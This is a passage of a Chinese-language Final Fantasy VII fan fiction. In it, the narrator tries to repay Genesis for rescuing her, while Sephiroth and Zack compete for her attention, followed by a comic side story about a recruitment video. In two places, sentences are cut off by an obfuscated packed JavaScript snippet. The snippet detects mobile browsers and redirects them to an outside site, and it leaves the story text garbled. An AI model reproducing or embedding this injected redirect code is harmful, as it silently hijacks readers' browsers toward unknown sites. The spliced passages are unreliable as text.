"你说什么?"萨菲罗斯的声音突然变得很冷。 "后宫啊,"我尽力回忆更多的情节,"就像小说里写的那样。主角救了别人一命,对方就会...唔!" 我的话还没说完,就被萨菲罗斯的手捂住了嘴。他不知道什么时候走了过来,动作很快,但不重。 "不准再说这种话。"他的语气严肃,但眼神却带着一丝无奈,"你到底都看了些什么?" 我试图说话,但嘴被捂着只能发出"唔唔"的声音。萨菲罗斯这才意识到什么,松开了手。 "那要怎么报答他嘛!"我揉了揉被捂得有点疼的脸,"我觉得这个主意挺好的啊!" 萨菲罗斯发出一声叹息。这是他经常对我露出的表情,就像现在,他又开始用那种暗含什么情绪的眼神看着我。 "听着,"他的声音放柔了些,"你不需要...以那种方式报答任何人。" "为什么?" "因为..."他停顿了一下,似乎在斟酌用词,"这不合适。" "哪里不合适了?"我继续追问,"小说里不都是这样写的吗?" 萨菲罗斯的表情更加复杂了:"以后不要再看那些奇怪的小说了。" "诶?!不要!"我立刻抗议,"那我看什么?难道要看你平时看的那些无聊的战术书吗?" "......" 就在这时,手术室的门开了。安吉尔走了出来,他的神情带着疲惫,看到我们两个的样子,有些担忧,大概是怕我又跟萨菲罗斯大打出手。 什么,朋友至今昏迷不醒,我怎么可能在外面跟萨菲罗斯战斗? 安吉尔你就是这样看待我的? 而且这点场地连刀都拔不开。 "怎么了?"他问。 "没什么,"萨菲罗斯很快恢复了常态,"杰内西斯情况如何?" "暂时稳定了,"安吉尔说,"不过..." 他欲言又止地看了我一眼。我立刻来了兴趣:"不过什么?" "没什么,"安吉尔摇摇头,"你们先回去休息吧,明天再来看他。" 我正要说什么,萨菲罗斯已经拉住了我的手腕:"走吧。" "等等!"我挣扎着,"我还没问安吉尔一个很重要的问题!" 安吉尔:"什么问题?" "你觉得我要怎么报答杰内西斯比较好?"我认真地问,"萨菲罗斯说我不能当他后宫..." "噗——"安吉尔呛住了。 萨菲罗斯:"......" 他拽着我的手更用力了。 "走了。" "诶?等等嘛!安吉尔还没回答我呢!他应该更了解杰内西斯的爱好…" "不需要回答。" "那至少让我问问杰内西斯会不会喜欢科学部部长!" "...你在说什么?" "就是我以后当了神罗总裁给他的职位安排啊!扎克斯当副总裁,安吉尔做教练,杰内西斯可以做部长,你当保安..." 萨菲罗斯的脚步突然顿住了,这还是他第一次听到关于我的“神罗重置计划”:"...我当什么?" "保安啊!"我理直气壮,"神罗大门口的保安,工资很高的,你不是总爱说保护我吗?" 安吉尔在后面发出了一声介于咳嗽和笑声之间的声音。 16. 第 15 章 非常的奇怪。 没过几天,我就从安吉尔那里得知杰内西斯已经痊愈的消息,但怎么也见不到他的人。 平日里总是在我和萨菲罗斯面前刷存在感的红发特种兵好像消失了一样。 为什么就在我打算开启报恩计划之时,他就绕着我走呢? 而且我还没问到那天到底发生了什么。 不过现在报恩计划可以暂停一下。 先去吃个饭。 到了食堂,我嚼着面,对面的扎克斯正吃着饭,正好放下筷子与我说话。正当我准备和往日一样从他的碗里偷走一块肉时,坐在我旁边的萨菲罗斯拿起筷子的背拍了拍我的手。 “嘶……” “不要去别人的碗里拿东西。” 扎克斯是别人吗?扎克斯是我忠诚的小弟啊!他现在已经没那么反抗这个称呼了。 黑发少年顿了顿,他望见我愤愤不平的眼神,于是主动将自己碗里的肉拿出一片准备分给我,就收到了萨菲罗斯的凝视。 “……” 他默默收回了筷子。 我记得萨菲罗斯应该是很忙的。 神罗内打工仔如果有个排名,那么第一是他,第二是我——平时我也只有晚上和训练的时候才见的到他,或者是难得的休息时光。 那么谁来解释一下现在这个天天在我旁边的白毛男是谁? 来管一下,英雄罢工了,不扣他工资吗? "难道你今天没有任务吗?不去前线吗?"我终于忍不住问他。 萨菲罗斯低头看了看我的碗:"把青椒吃了。" "……"我瞪着碗里那几片绿色的东西,"你没回答我的问题。" "等你吃完再说。" 这种敷衍的态度让我很不爽。自从那次醒来后,他就像个跟踪狂一样到处跟着我。训练时在场边看着,吃饭时在旁边监督,连回宿舍的路上都要"恰好"同路。 现在还逼我吃青椒,这日子没法过了。 我用叉子烦躁的戳了戳那片青椒,接着突然想到了什么,一把将其塞到了正喋喋不休的扎克斯嘴里。 “前辈,你说我到时候成了1st是不是经常可以跟你一起出任务啊——” 少年的声音戛然而止。 墨色的发丝下,他的耳朵红了,接着是脸颊,咽下去后低着头没有再看我,湛蓝的眸子黏在了桌面上,好像上面摆了几万gil一样。 我也不是第一次喂扎克斯吃东西(一般我不吃的就丢给他),但是他今天的反应是怎么回事? 真的这么辣吗? “……” 咔哒。 萨菲罗斯望着这边,他手里的叉子好像断掉了。 转过头,他还是那副平静的模样,因为天生的笑唇,似笑非笑的模样,让人有些难以察觉到他的具体情绪。 所以我直接问了。 “这叉子跟你有仇?” 萨菲罗斯直接无视了我的疑惑,反而提出问题。 “平时里你都是这样跟他相处的吗?” "啊?"我歪着头看他,"不然呢?" 萨菲罗斯再次无视我,他转过头看着已经抬起头的扎克斯,然后他们就开启了如下的完全加密通话。 “扎克斯,你应该明白。” 黑发2nd稍稍思索后,他就和面前这个好像满口谜语的萨菲罗斯对上了脑电波。 “明白……呃,当然,我知道。” 萨菲罗斯放下手里的叉子碎片,从桌子上拿了两副新的餐具,接着干脆地抽走我手里的叉子,在我的叫嚷下换了新的给我。 “那你是什么意思呢?” 扎克斯先是沉默了一会,那种满是决心的表情混着淡淡的红晕,他挺直腰板直视对面的英雄。 看起来像是那种小说不惧压迫的正义浩然型男主。 “……我觉得,我会让将军您满意,也会照顾好前辈的!” 萨菲罗斯冷笑一声。 "呵……有意思。" —— 你们在燃些什么? 不过我已经赢了。 我开始往萨菲罗斯碗里塞青椒,顺便尝试让他们继续话题,不要注意到我:"你们继续说,什么有意思啊?" "前辈!"扎克斯突然提高了声音,"我可以替你吃掉这些青椒!" 看吧,这就是我忠心的小弟。 萨菲罗斯优雅地用筷子挡住了扎克斯伸过来的叉子:"不需要。" 确实不需要了,已经全部塞进你碗里了。 扎克斯缩回手,有些局促地揉了揉后脑勺:"那个...将军,我是说..." "我说过了,你应该明白。"萨菲罗斯的声音依然平静,但莫名让人感到压迫感。 解决掉青椒,我叼着面条看着他们俩:"你们到底在打什么哑谜?" 两人同时看向我,又迅速移开视线。 "没什么。"他们异口同声地说。 十分可疑。 "喂,你们真的不说吗?"我盯着面前这两个打哑谜的家伙。 萨菲罗斯放下餐具,将桌面清理干净:"该去训练了。" "等等!"扎克斯突然站起来,"我能跟您单独谈谈吗?" 萨菲罗斯看了他一眼,然后点点头。 什么啊,现在还要背着我说悄悄话? 我正要抗议,萨菲罗斯就按住了我的肩膀。 "乖乖在这里等着。" "凭什么?" "因为你还没吃完。"他指了指我碗里剩下的食物。 我低头一看。 不知道什么时候我的碗里又多了一堆青椒! 我咬牙切齿。 "萨菲罗斯!" 但他们已经走开了。我只能愤愤不平地盯着碗里的青椒,看着他们走到食堂角落。虽然听不见他们在说什么,聊天氛围似乎不太对劲。 真奇怪。 从我认识扎克斯开始,他就一直是那种阳光开朗的性格,很少见他这么认真。而萨菲罗斯虽然平时就没什么情绪,但今天似乎格外不爽。 到底发生了什么? 这两人绝对有古怪。 就在我用叉子戳着那堆莫名其妙出现的青椒时,目光忍不住飘向食堂角落。 萨菲罗斯双手交叉在胸前,身姿挺拔如松,一副不为所动的样子。而扎克斯则不停地挥舞着手臂,脸上的表情从坚定到紧张,再到有些沮丧。 我的肚子因为那堆恶心的青椒而抗议着。 不如干脆去看看他们说什么好了,反正我也不想吃这些绿色的恶魔。 于是我把筷子一丢,悄悄绕到食堂另一边。速度是我的优势,快速藏在一根柱子后,我终于能捕捉到一些对话的碎片。 "...认真的,扎克斯?"萨菲罗斯的声音冰冷。 "是的,将军!我对前辈的心意很坚定!"扎克斯挺直了背,声音略微颤抖但坚决。 心意?什么心意?难道是要拜我为师吗? 毕竟在我看的书里,主角找到某个暗藏在米德加退伍多年的神罗1st后,带了很多珍贵的魔晶石后行礼:“请前辈接受晚辈的一番炽热心意,我的决心很坚定!” 但小弟就是小弟啊,不用拜师我也可以教他的,虽然我根本就是靠本能战斗。 不过魔晶石可以给,最近买了特典收藏后有些缺钱了。 "你以为你了解她吗?"萨菲罗斯的语气更冷了,"你知道她喜欢吃什么吗?知道她一般都是通宵不睡觉的吗?知道她逃训后一般都会去做什么吗?" "我知道,我不算了解前辈……但这不会改变我的想法!"扎克斯的蓝眼睛闪烁着决心,"请给我一个机会去了解她!" 萨菲罗斯微微眯起眼睛:"你认为自己配得上吗?" 哇,好严格的师兄审核制度。我不知道拜我为师还需要过萨菲罗斯这一关。 "我会努力变得配得上的!"扎克斯几乎是喊出来的。 萨菲罗斯:"那么让我看看,今天的训练,我亲自指导你。" "什么?"扎克斯的表情一下子变得紧张起来。 看来扎克斯要惨了。 萨菲罗斯"亲自指导"的训练,我很清楚那是什么滋味。上次我被他"亲自指导"后,整整睡了三天才恢复过来。 就在我准备偷偷溜走的时候,一个突如其来的喷嚏让我暴露了位置。 "哈啾!" 萨菲罗斯和扎克斯同时转头看向我的藏身之处。 我丝毫不尴尬,直接站了出来,试图问出更多的内容——或许他们还说了我坏话呢? “你们聊的什么?” 萨菲罗斯挑起一边眉毛:"偷听是不好的行为。" "我才没有偷听!"我立刻反驳,"我只是恰好听到了而已!" 扎克斯的脸瞬间变得通红,像是熟透的番茄一样:"前、前辈!你都听到了什么?" "听到你要拜我为师啊,"我双手叉腰,得意洋洋地说,"但没想到还要经过萨菲罗斯的同意,其实我可以直接教你的。" 空气突然安静了。 扎克斯目瞪口呆地看着我,而萨菲罗斯则是一副有些淡淡愉悦的模样。 "呃...拜师?"扎克斯结结巴巴地重复道。 "不是吗?"我疑惑地眨眨眼,"你不是想成为我的徒弟吗?" 萨菲罗斯突然回答:"看来你理解有误,扎克斯的意思是——" "是想向您学习更多战斗技巧!"扎克斯迅速打断,"因为前辈您实在太厉害了!" "哦?"我歪着头看着他,总觉得哪里不对劲,"那为什么萨菲罗斯说你配不配得上之类的话?" "因为..."扎克斯看了一眼萨菲罗斯,后者给予了他一个古怪的眼神,"因为他认为我的实力还不足以接受您的指导!" "胡说,"我大方地拍拍扎克斯的肩膀,"我觉得你已经很不错了!要不我们现在就去训练场?" 扎克斯的表情更加复杂了,而萨菲罗斯则轻轻摇头。 "训练场的确是个好主意,"萨菲罗斯平静地说,"不过今天我会亲自监督扎克斯的训练。" "啊?为什么啊?"我不满地抗议,"我也想去!" 萨菲罗斯看了我一眼:"你的臂环还需要调整,科学部的人在找你。" 我下意识地摸了摸左臂上的臂环,自从醒来后,这个东西就成了我身体的一部分。虽然不明白它的作用,但科学部的人时不时就会找我检查一下。 "好吧,"我耸耸肩,"那我先去科学部,回头见。" 转身离开时,我听到扎克斯松了一口气的声音。奇怪,他为什么这么紧张? 走到门口,我忍不住回头看了一眼。萨菲罗斯正低声对扎克斯说着什么,后者的表情越来越沮丧。 真是奇怪的一天。 —— 几天后,我终于暂时摆脱了去接任务的萨菲罗斯。 虽然他给了我一堆限制。 【实时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15479159|169997||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 定位,每10分钟更新一次,如果要出任务一定要把截图和地点发给我】 【收到】 【现在的定位呢?】 【收到】 【把自动回复关了】 【收到】 【……】 【(我的位置)我现在在蹲点安吉尔呢】 【?】 【他出来了!】 从训练营里走出的安吉尔终于被我抓到了,自从我莫名其妙昏迷了三个月后,可能是为了弥补那次的集体翘班,我们几个1st的工作量直线上升。 现在杰内西斯不知所踪,我也就在帮他接任务——效率很高,只是没有活口而已。 为了继续我的报恩计划,首要的还是要找到不知所踪的杰内西斯。 "安吉尔!" 黑发的1st听到我的声音停下脚步,转过身来。他的表情有些疲惫,但还是露出了温和的微笑:"有什么事吗?" "杰内西斯去哪了?你知道吗?"我单刀直入地问。 安吉尔的表情有些复杂。 现在的他也不是很清楚杰内西斯在做什么。 最近他总是时常返回米德加,好像是跟那位名为荷兰德的博士有所接触——但作为发小,杰内西斯没有与他言说,安吉尔也尊重他的隐私。 安吉尔轻轻叹了口气:"他很…复杂。" "复杂?"这个词让我皱起眉头,"什么叫复杂?" "他的伤势恢复得很慢,"安吉尔斟酌着用词,"而且经常往返于米德加和五台之间,好像在寻找什么。" 我对他露出困惑的表情:"你是他的好朋友,不知道他在找什么吗?" "有些事情,即使是朋友也需要保持距离,"安吉尔的目光变得深远,"特别是当对方希望独处的时候。" 啊,又是这种故弄玄虚的说话方式。 "那我去找他问问不就好了?"我转身就要走。 安吉尔一把拉住了我的手腕:"等等!" "怎么了?" "他现在…可能不太想见人。" 我挑了挑眉:"是不想见人,还是不想见我?" 安吉尔一时语塞。 某种程度上,是的。 杰内西斯确实也只有在她出任务的时候才会返回五台,在躲着什么的模样简直不能更明显了。 我一下明白了,开始追问,"为什么躲着我?难道是我做错什么了吗?那也应该告诉我一声吧?" 安吉尔的表情更加复杂了:"不是你的错…只是…" "只是什么?" “……” 这个总是说谜语的世界真是够了。 没有说几句,我的终端就开始疯狂振动,我拿起终端,顿时变了神情,又来了任务。 安吉尔见我这副厌烦上班的模样,立马秒懂,像个家长似的告诫我好几句,没有说完我就已然不见踪影了。 “唉……” —— 杰内西斯是卡着点回到五台的,她正好接了任务。 得知了太多的东西,回到那个熟悉到不能再熟悉的宿舍时,忽地感到有些陌生。 自己的真相,劣化的威胁,以及暗暗达成的契约。 因为疲倦,稍稍躺在床上,床头摆着的《loveless》还有他多年记的笔记,拿起随意翻开一页,红发1st的视线在“女神赠礼”的字句停留了很久。 “……” 他忽然想起了那个女人。 平日的玩笑话在突然之间成为真实。 第一时间是不真实的震撼,第二瞬间感觉到的就是说不出的怜悯和可悲。 奇迹般的怪物—— 窗口处传来什么轻轻敲击的声音,杰内西斯猛地从床上坐起,《loveless》还拿在手心,与一双散发着淡淡魔晄荧光的非人眸子对上了视线。 白发女人的黑色制服染了大半的血,对他显露出了一个欢欣的笑容,晚风吹过,被血污黏着在一团的发丝稍稍卷动,她眨了眨眼,叩起指节敲了又敲。 “杰内西斯——“ “……” 为什么还能笑得出来呢? “杰内西斯——” 透过玻璃,嗓音有些闷闷的。 他最终还是起身,准备去开窗,用以往的那种腔调开口。 “怎么,哪个流浪汉想来我这里乞讨?” 打开卡扣的一瞬间,站在树杈上的她就准备跳进来,结果动作刚刚起势,在裤子口袋里的终端猛地震动一下。 “呃……” 在尚未反应过来之时,杰内西斯放下手里的《loveless》,冲到窗台前,想要抓住她的腕,但不知是否是因为劣化的副作用,还是别的什么,指尖相触的触感转瞬即逝。 杰内西斯伸出的手在半空中抓了个空。 “!!” 他眼睁睁看着她从窗前坠落,那一瞬间,他仿佛看到了什么预兆——她的笑容、她的轻狂,还有她不知天高地厚的自信,全都在这一刻化为了一个坠落的影子。 连忙俯身往下看,却什么都没再出现,仿佛那个带着血红的白色身影从未出现。 “喂。” 忽的,有人在拍了拍他的后脑勺。 杰内西斯猛地回过头,是她戏谑的笑,手里还捏着那本刚刚掉落在地毯上的《loveless》,微微歪头。 “我帅吧,能一下窜进来呢,反应的过来吗你?” 速度向来是她的优势。 17. 第 16章 我十分自然的坐在杰内西斯的床上,制服上的血还在往下滴,不一会就污染了他的床铺。 这不能怪我,自从知道他故意躲着我后,我就经常速刷任务,刷完就来他的宿舍这里逛一圈。 现在终于让我抓到了他。 对面的那个红毛仿佛才回过神,伸出手准备把我从他的床上拉起来,但我十分无赖的躲过他的动作,接着把手里的《loveless》抛给他。 杰内西斯深吸一口气,将书本放在旁边的桌面上,指节因为用力有些发白,仿佛在强忍某种情绪。 他的声音出奇地平静,"你在做什么?" "来找你啊,"我理直气壮地回答,手指轻轻拨弄着被血迹染红的床单,"安吉尔说你一直在躲我。" 他的嘴角抽动了一下:"安吉尔说的?" "他不肯直接告诉我,但我看得出来,"我耸耸肩,"为什么要躲着我?" 杰内西斯避开了我的目光,走到窗边:"你不该来这里。你的任务呢?" "已经完成了,"我指了指满身的血迹,"这不明摆着嘛。" "或许萨菲罗斯在找你。"他说,连头都不回。 杰内西斯话音刚落,连续不断的振动声响在安静的房间里,我显露出了便秘似的表情,把那个黑色小板砖拿了出来。 映入眼帘的就是萨菲罗斯的信息轰炸。 【你在哪?】 【定位呢?】 【任务结束了吗?】 【回据点了吗?】 我真是服了,难道他一秒不看着我我就会死掉吗? 【转账:5000Gil】 【你接受了转账】 【(我的位置)在宿舍楼呢,回来了哈。】 不过都是担心我,我还是很感动的。 放下终端,我抬起头,发现杰内西斯不知什么时候已经转过头,神色复杂的看着我。 "怎么了?我脸上有东西吗?"我伸手摸了摸自己的脸,结果蹭上了更多血迹。 杰内西斯沉默了片刻,深吸一口气:"你就这样大摇大摆地走进别人的宿舍?还把血弄得到处都是?" "嘿,这不是别人的宿舍,是你的宿舍啊,"我把终端放回口袋里后反驳,"你先解释一下最近的事。" "有什么好解释的?我没有躲你。" “你说这话有一个人会信吗?我做错了什么你可以直说——虽然我不一定改。” 他看着我,那张平日里总是挂着骄傲神情的脸此刻像是凝固了一般。 ”……“ ”说话啊?你念诗都行,难道你的发声系统出问题了?“ 杰内西斯突然笑了。 窗口未关,夜晚的冷风涌进,稍稍掀起他鲜红色大衣的衣角,诗歌自他手里翻动,我望见了某一页上的点点血渍。 大概是我刚刚不小心弄上去的吧。 “‘因果之缘,梦想也好,荣耀也罢,已然尽失’” “你认为你自己是什么呢?认为我们是什么呢?你什么都不知道……” 我觉得他笑得像是那种小说里精神不稳定的反派。 —— 血大多已经干涸,银发女人微微歪头,晦暗的房间内,睫毛颤动之间,莹绿色的色泽闪动在那对眸子里。 没有丝毫犹豫的开口了。 ”我不知道,那你跟我说啊。“ ”……“ “为什么要躲着我,现在你说这些又是什么意思?说几句人话难道世界会毁灭吗?” —— 真是服了这个到处都是谜语的世界了。 正当我准备继续质问他的时候,终端又响了。 “啧……” 反正他也跟死机了一样不说话,那我顺便在他加载的时候回个消息吧。 【你不在你的宿舍。】 【在哪?】 萨菲罗斯又要刷屏了。 杰内西斯现在要是也像他一样多话该多好啊。 【我等下就回去,马上就回,你别着急。】 我一抬头,杰内西斯莫名其妙的对我冷笑一声。 “……所以,你是来做什么的?除了质问我为什么躲你,就是来我房间给萨菲罗斯发消息?” 他这么一提醒,我立马想起了我的主要目的。 “我是来报恩的,你不是救了我一命吗?” "报恩?"杰内西斯的表情瞬间变得古怪起来,“那只是任务而已,即使去的不是我,是安吉尔……或者萨菲罗斯,都会这么做。” 我挠了挠头。 “那你反正救了我吧,有什么想要的,说吧。除了神罗总裁的位置我应该都能给你搞到。” 虽然报恩很重要,但我的未来职业规划还是更重要一些的。 “……根本没有人想要那个位置。” 红发1st叹了口气,将书本放在床边,接着坐在我身畔。 看他这种有些深沉又有些释然的表情,我暂且可以放下他攻击我职业理想的事情。 “如果我要了什么,你就可以不来骚扰我了吗?” “大概吧。” “给我一些你的头发。” "头发?" 我稍稍愣住了,对这突如其来的要求感到困惑。 原以为他会让我再也不碰他的《LOVELESS》,或者帮他做几个月的杂务,结果就只是要几根头发? "就只是…头发?"我难以置信地重复道,手指无意识地缠绕着自己银白色的长发。血迹已经在发丝上凝固,触感粗糙。 "是的,就是头发,"他声音低沉,"几根就够了。" 窗外,五台的夜色渐深,远处传来隐约的轰鸣声——可能是神罗的巡逻机械,也可能是远方的战争回响。冷风从半开的窗户钻进来,掀起几页《LOVELESS》的书页,哗啦哗啦地响着。 血迹此刻已经渗入被单,形成一片暗红的花纹。平时杰内西斯一定会为此大发雷霆,但今天他却出奇地平静,那些血迹似乎变得无关紧要了。 我从头上拉下几根银发,在军营昏暗的灯光下,它们散发着微微的光泽,宛如流动的月光。 "给你,"我把头发递给他,"够了吗?" 杰内西斯接过那几根头发,动作轻柔得不可思议。他从口袋里掏出一个小玻璃瓶,小心翼翼地将头发放进去,然后紧紧盖上盖子。整个过程中,他的眼睛一直没有离开那几根银发,好像那不是普通的头发,而是什么珍贵的宝物。 "你要拿我的头发做什么?"我忍不住问道,"该不会是要做什么奇怪的魔法吧?还是说…你其实崇拜我?" 就像是有很多萨菲罗斯的粉丝会在网上发布悬赏英雄的几根头发一样,难道杰内西斯是我隐藏的脑残粉吗? 看不出来啊。 不过也确实有可能,谁叫我又帅又好看又有实力呢,嘻嘻…… 眼看我的神情即将变得优越起来,他收好瓶子,发出一声冷笑。 “我是脑子有问题才会崇拜你。” 杰内西斯那种欠揍的语气又回来了,看来他无论在什么情况下都不会忘了攻击我。 ”呵呵……现在你可以解释一下刚刚的谜语了。“ 他的眼眸闪烁了一下,正要说些什么,就被一阵敲门声打断。 门外是萨菲罗斯的声音,他语气平静的叫了一声我的名字。 "看来英雄等不及了。"杰内西斯讽刺地笑了笑,"真令人感动,他对你的关心。" 萨菲罗斯怎么知道我来找杰内西斯呢? 好吧,可能我最近的来回巡视确实有些明显了。 起身打开门,银发男人高大的身影站在前方,他的视线先是落在我的身上,随后微微抬起,掠过我身后的杰内西斯。 "……宵禁时间要到了。" 这东西我不是从来都没有遵守过吗? 我回过头,望向杰内西斯,他的嘴唇蠕动了一下,忽然绽放出一个浅笑。 莫名的情绪。 ”是啊,回去吧,你该休息了。“ 神罗谜语大赛,杰内西斯拿了MVP。 没等我出言锐评,我就被萨菲罗斯抓走了。 在宿舍的走廊上,我满身都是凝固的血渍,苦着脸跟在他身后。 可恶,等我下次抓到杰内西斯,一定要问个清楚—— 思绪被突如其来的碰撞打断,萨菲罗斯不知何时停下步伐,于是我正好撞到他的背。 萨菲罗斯大概是刚刚洗了澡,银白的长发混着着独特的清香,让我想起了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15479160|169997||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我刚刚失去的几根头发——看来在发量上我是无法击败他了。 揉着鼻子退后,男人转头与我对视。 “你对杰内西斯有些过于执着了。” 首先就是这么莫名奇妙的一句话。 我耸了耸肩。 “因为我要报恩啊!而且我想要知道他为什么要躲着我,这有什么问题吗?” “……” 他忽然俯下身,微凉的指尖替我稍稍抹去眼角的血斑。 萨菲罗斯的皮肤很白,当那些鲜红停留在他指腹的时候格外明显。 他的嗓音很奇怪,乍一听跟平时里没有任何的区别。 “那天找到你的人不是我,是他。” “如果是我的话,你会怎么做呢?” 这问题让我困惑。自萨菲罗斯长大,他就很少问假设性的问题,总是精确、直接的。 “是你就是你呗,有什么区别吗?” “……” “我希望有区别。” 那双魔晄眼瞳深处有什么在翻腾,如同平静海面下的暗流。 看来有人威胁到杰内西斯的MVP位置了。 "你今天怎么回事?"我没懂,于是直接跳过了那个话题,"非得跟着我到处跑,还满嘴怪话。" 萨菲罗斯垂眸看我,银色睫毛在走廊昏暗灯光下投下细小阴影。他没接我转移话题的语句。 "我一直希望那天找到你的是我。" “啊,原来是因为这个啊……”我大概明白了,于是忍不住笑出了声。 “又是因为你那兄长的‘责任感’吗?” 过往年少之时,我就已经看过他的书架了。除了那些战术和专业知识的书籍,萨菲罗斯好像会沉迷于家庭关系里的"兄妹"研究中。 他从书本中学到了“关心”,“爱护”,“保护”与 “责任”。 “不是。” 快速的被否定了。 走廊静得出奇,连我们的呼吸声都清晰可闻。 “那是什么?” “我希望我对你而言,是不一样的,是独一无二的……” “我是吗?” —— 从出生起,萨菲罗斯就知道他是特殊的。 那些训练,那些机械的日常,研究员们怪异的眼神。 然后她出现了。 她和他一样。 一起接受那些训练,一起被奇异的目光注视,一起去食堂吃没有味道的东西,一起战斗…… 就像现在—— 他们的血液都被拒绝了。 但他们之间又不大一样。 她会在意那些常人眼中根本不注意的东西,会奇怪的生气,会奇怪的笑,会说奇怪的话。 那些天马行空的想法吐出之时,像是一阵风拂过胸腔。 令人无奈,又带来浅浅的愉悦。 她毫不自知,却像是一团正在燃烧着的明亮火焰,吸引着他人的目光。 而他却还是…… —— "不一样?独一无二?" 我重复着这些词,感觉它们在我舌尖上打着转。 “…” 出现在那双眸子里的,是沮丧吗? 我歪了歪头。 “……去洗澡吧,晚安。” 萨菲罗斯突然起身,他注意到我的表情后,不知想到了什么,转过身,径直准备走了 “噗——” 然后,听见了笑声。 为什么要笑… 银发男人回过头。 “好奇怪啊,萨菲罗斯。” “你一直都是独一无二的啊,这还需要问吗?” 理所应当的模样。 仿佛他刚刚问了1+1是不是等于2似的。 …… 几天后。 2000年,10月。 五台战场上,神罗的1st杰内西斯带领大量二等兵和三等兵叛逃神罗,与此同时,科学研究部的荷兰德博士窃取内部机密资料后一齐失踪。 2000年,11月。 2nd扎克斯跟随1st安吉尔前往五台战场占领坦布林堡,身为英雄的萨菲罗斯介入。 事件结束后,神罗一等兵安吉尔失踪。 第一卷,完 18. (番外)我是反萨菲罗斯吧吧主[番外] 萨菲罗斯又去拍宣传片了。 正当我苦逼的从五台前线回来,听到的就是这么个消息。 说实话,我很少看神罗的征兵广告,大多的时候都是找点杰内西斯的专属粉丝剪辑,从里面截几帧丑图后发给他或者做成表情包。 然后杰内西斯就会拿着《loveless》敲响我宿舍的门。 先不说这个。 我之前跟萨菲罗斯约好了今天的互殴,他向我保证过无论如何都至少会跟我打到第三阶段,所以我还是很期待今天的。 洗去满身的血后,我换了身衣服,在训练室等了很久也等不到他。 还没拍完吗? 因为无聊,我点开了神罗的官方宣传帐号。 映入眼帘的就是萨菲罗斯的脸。 【神罗英雄萨菲罗斯最新征兵宣传片——《加入神罗,成就英雄梦想》今日正式发布!】 视频开始播放,一段磅礴的配乐响起。镜头缓缓推进,从米德加的全景逐渐聚焦到神罗大厦,然后是训练场,最后定格在一个银发的背影上。 背影缓缓转身,萨菲罗斯那张过分完美的脸出现在屏幕上。他穿着标配的战斗服,发丝一丝不苟地垂落,手中的正宗在灯光下闪烁着冰冷的金属光泽。 "力量,荣誉,梦想…"他的声音低沉而富有磁性,"这些都可以在神罗实现。" 画面一转,出现在米德加上层的高台上。 他的银发在风中飘扬,手握正宗,背对着镜头。慢慢地,萨菲罗斯转过身,那双魔晄眼瞳直视镜头,仿佛穿透屏幕看向观众。 "你是否曾经梦想成为英雄?" 他低沉的声音配合着背景音乐,营造出一种神圣而崇高的氛围。然后画面切换到他在训练室挥舞正宗的场景,每一个动作都优雅而致命。 "神罗公司,为你的梦想插上翅膀。" 他将正宗指向天空,一道光束从刀尖射出,照亮整个画面。 镜头拉远,萨菲罗斯的身影逐渐融入神罗总部的宏伟建筑中,最后只剩下神罗的标志。 “我在神罗等你。” 我发出一声爆笑,笑得我背后的大太刀都一直在抖,过长的刀鞘打在我的小腿,有些麻。 不是,这也太搞笑了吧? 这么想着,我开始往下翻评论区。 官方评论置顶的都是非常无趣的标配评论,于是我把评论调整到以时间排序—— 【萨菲罗斯大人好帅!!!啊啊啊我要窒息了!!!】 【天啊,我要为萨菲罗斯去死!这个视角太绝了!那个侧脸!那个回眸!】 【我已经报名参军了!萨菲罗斯大人等我!】 【谢谢你萨菲罗斯,因为这个广告我借了一屁股债也要去应征了】 【请问萨菲罗斯大人的银发是用什么牌子的护发素?求同款!】 …… 这群脑残粉也太夸张了吧? 他们难道不觉得那个台词和表情很尴尬吗? 根本无人能懂我的笑点。 幸好四个1st里只有我不需要出镜拍这种小尬片,大概是因为我的行事风格比较见不得人。 这么想着,我拿我的私人账号随意评论了一条。 【只有我觉得很装吗?】 点击发送后,训练室的门打开了,是提着小蛋糕的萨菲罗斯。 我于是放下终端,十分狗腿的蹭了过去。 ”这个是给我的吧?“ 银发男人点了点头,他将蛋糕放在旁边的桌子上,语气平静。 ”来晚了一些。“ 我正要去掏蛋糕,就被他单手阻止了,萨菲罗斯的左手熟稔的拿起旁边正宗的刀柄。 ”训练完再吃,会吐。“ 他说的确实有道理,每次打爽了我都半天吃不下东西,满脑子都是肾上腺素迸发的激动。 稍稍抬头,我与萨菲罗斯四目相对,他此刻穿着的正是日常里的战斗制服,同时也是在宣传片里出现的款式。 ”噗——“ 我没绷住笑了出来。 “……” 萨菲罗斯看着我笑成这样,微微皱了皱眉。 "有什么这么好笑的?" 我擦了擦嘴角,嘴角的笑容怎么也压不下去,一边摇头,一边掏出身后的大太刀,准备拔刀,手却一直在抖。 ”没事没事,哈哈……没事……” “……” 他看我的眼神仿佛是见了女装的杰内西斯。 “……准备好了吗?” "随时都准备好了!"我把大太刀从背后抽出,开始回忆起这辈子里最难过的事情。 两人相对而立,训练室的灯光将两人的影子拉长。萨菲罗斯的正宗刀在他手中轻轻旋转,银光闪烁。房间里安静得只能听见微弱的空调声。 但我一想到那个宣传片中他的台词,就忍不住又笑了出来。 "你确定没问题?"萨菲罗斯皱眉,"如果不在状态,我们可以改天。" "不不不,我好得很!"我摆手,"就是想到一些好笑的事情。" 结果开局三秒我就输了,大太刀被挑飞到地上,他看着憋不住笑的我,完全摸不着头脑。 